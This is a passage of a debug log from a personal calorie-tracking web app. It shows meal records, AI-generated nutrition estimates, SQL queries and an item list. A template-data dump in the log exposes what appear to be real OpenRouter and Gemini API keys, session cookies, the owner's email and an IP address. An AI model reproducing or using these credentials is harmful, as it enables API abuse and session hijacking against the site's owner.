    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5',
    replacements: 'Whole wheat roti (slightly more fiber),Jowar/Bajra roti (higher fiber, different nutrient profile),Brown rice (as an alternative carb source),Quinoa (higher protein carb source)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy. Quantity should be adjusted based on overall calorie and macro goals for muscle development.'
  },
  {
    id: 438,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea,Green tea,Herbal tea,Tea with skim milk',
    created_at: '2025-12-18T05:44:50.000Z',
    skip_level: 1,
    skip_reason: "Good source of protein and calcium from milk, and antioxidants from tea. Without sugar, it's a healthy beverage choice for muscle development."
  },
  {
    id: 439,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)',
    replacements: 'Black tea (no milk),Green tea,Herbal tea,Skim milk tea',
    created_at: '2025-12-18T09:41:14.000Z',
    skip_level: 1,
    skip_reason: "Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, it's a decent beverage."
  }
]
2025-12-18T15:11:15.262Z server-connect:app Executing action step setvalue
2025-12-18T15:11:15.262Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T15:11:15.262Z server-connect:output var_total: 1008
2025-12-18T15:11:15.262Z server-connect:app Executing action step setvalue
2025-12-18T15:11:15.262Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T15:11:15.262Z server-connect:output var_consumed: 42
2025-12-18T15:11:15.262Z server-connect:app Executing action step setvalue
2025-12-18T15:11:15.262Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T15:11:15.262Z server-connect:output var_deficit: 1392
2025-12-18T15:11:15.262Z server-connect:app Executing action step custom
2025-12-18T15:11:15.262Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T15:11:15.263Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1008',
    surplus_or_deficit: '1392',
    status_flag: 2
  }
]
2025-12-18T15:11:16.308Z server-connect:app Executing action step identify
2025-12-18T15:11:16.308Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:16.308Z server-connect:output identity: 1
2025-12-18T15:12:13.941Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T15:12:13.941Z server-connect:app Executing action step identify
2025-12-18T15:12:13.941Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:13.941Z server-connect:output identity: 1
2025-12-18T15:12:13.941Z server-connect:app Executing action step restrict
2025-12-18T15:12:13.941Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:12:13.943Z server-connect:output restrict: undefined
2025-12-18T15:12:13.943Z server-connect:app Executing action step processWithGemini
2025-12-18T15:12:13.943Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T15:12:18.477Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Hari Matar Dal',
      quantity: '1 bowl (approx 150g cooked)',
      calories_consumed: 170,
      total_calories: 170,
      protein: 11.5,
      carbs: 29.5,
      fat: 1.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of plant-based protein and fiber, good for muscle development.'
    },
    {
      food_name: 'Rice',
      quantity: '1 bowl (approx 150g cooked)',
      calories_consumed: 195,
      total_calories: 195,
      protein: 4.2,
      carbs: 42.9,
      fat: 0.4,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'Provides energy for workouts, but white rice is a refined carb. Brown rice or quinoa would be better for sustained energy and more nutrients for muscle development.'
    },
    {
      food_name: 'Onion Kheera Salad',
      quantity: '1 plate (approx 100g)',
      calories_consumed: 20,
      total_calories: 20,
      protein: 0.8,
      carbs: 4.5,
      fat: 0.1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Very low in calories, high in fiber and vitamins. Excellent for overall health and satiety without adding significant calories.'
    },
    {
      food_name: 'Amla',
      quantity: '1 piece (approx 20g)',
      calories_consumed: 10,
      total_calories: 10,
      protein: 0.2,
      carbs: 2.4,
      fat: 0.1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of Vitamin C and antioxidants, beneficial for recovery and overall health. Very low in calories.'
    }
  ],
  total_macros: {
    total_calories: 395,
    total_protein: 16.7,
    total_carbs: 79.3,
    total_fat: 2.1,
    unit: { protein: 'g', carbs: 'g', fat: 'g' }
  }
}
2025-12-18T15:12:35.936Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T15:12:35.936Z server-connect:app Executing action step identify
2025-12-18T15:12:35.936Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:35.936Z server-connect:output identity: 1
2025-12-18T15:12:35.936Z server-connect:app Executing action step restrict
2025-12-18T15:12:35.936Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:12:35.937Z server-connect:output restrict: undefined
2025-12-18T15:12:35.937Z server-connect:app Executing action step condition
2025-12-18T15:12:35.937Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T15:12:35.937Z server-connect:app Executing action step repeat
2025-12-18T15:12:35.937Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T15:12:35.937Z server-connect:app Executing action step insert
2025-12-18T15:12:35.937Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T15:12:35.938Z server-connect:output calories: { affected: 1, identity: 440 }
2025-12-18T15:12:35.938Z server-connect:app Executing action step insert
2025-12-18T15:12:35.939Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T15:12:35.939Z server-connect:output calories: { affected: 1, identity: 441 }
2025-12-18T15:12:35.939Z server-connect:app Executing action step insert
2025-12-18T15:12:35.939Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T15:12:35.940Z server-connect:output calories: { affected: 1, identity: 442 }
2025-12-18T15:12:35.940Z server-connect:app Executing action step insert
2025-12-18T15:12:35.940Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T15:12:35.941Z server-connect:output calories: { affected: 1, identity: 443 }
2025-12-18T15:12:35.941Z server-connect:output repeat: [ {}, {}, {}, {} ]
2025-12-18T15:12:35.941Z server-connect:output condition: undefined
2025-12-18T15:12:36.149Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T15:12:36.150Z server-connect:app Executing action step identify
2025-12-18T15:12:36.150Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:36.150Z server-connect:output identity: 1
2025-12-18T15:12:36.150Z server-connect:app Executing action step restrict
2025-12-18T15:12:36.150Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T15:12:36.151Z server-connect:output restrict: undefined
2025-12-18T15:12:36.151Z server-connect:router Render template layouts/main
2025-12-18T15:12:36.151Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T15:12:36.366Z server-connect:app Executing action step identify
2025-12-18T15:12:36.366Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:36.366Z server-connect:output identity: 1
2025-12-18T15:12:36.733Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T15:12:36.734Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T15:12:36.734Z server-connect:app Executing action step identify
2025-12-18T15:12:36.735Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:36.735Z server-connect:output identity: 1
2025-12-18T15:12:36.735Z server-connect:app Executing action step restrict
2025-12-18T15:12:36.735Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:12:36.737Z server-connect:app Executing action step identify
2025-12-18T15:12:36.737Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:36.737Z server-connect:output identity: 1
2025-12-18T15:12:36.738Z server-connect:app Executing action step restrict
2025-12-18T15:12:36.738Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:12:36.739Z server-connect:output restrict: undefined
2025-12-18T15:12:36.739Z server-connect:app Executing action step single
2025-12-18T15:12:36.739Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T15:12:36.740Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T15:12:36.741Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T15:12:36.741Z server-connect:output restrict: undefined
2025-12-18T15:12:36.741Z server-connect:app Executing action step select
2025-12-18T15:12:36.741Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T15:12:36.741Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T15:12:36.742Z server-connect:app Executing action step identify
2025-12-18T15:12:36.742Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:36.742Z server-connect:output identity: 1
2025-12-18T15:12:36.742Z server-connect:app Executing action step restrict
2025-12-18T15:12:36.742Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:12:36.743Z server-connect:app Executing action step identify
2025-12-18T15:12:36.743Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:36.743Z server-connect:output identity: 1
2025-12-18T15:12:36.743Z server-connect:app Executing action step restrict
2025-12-18T15:12:36.743Z server-connect:app options: { provider: 'security' }
2025-12-18T15:12:36.743Z server-connect:output restrict: undefined
2025-12-18T15:12:36.743Z server-connect:app Executing action step single
2025-12-18T15:12:36.743Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T15:12:36.744Z server-connect:output restrict: undefined
2025-12-18T15:12:36.744Z server-connect:app Executing action step single
2025-12-18T15:12:36.744Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T15:12:36.745Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
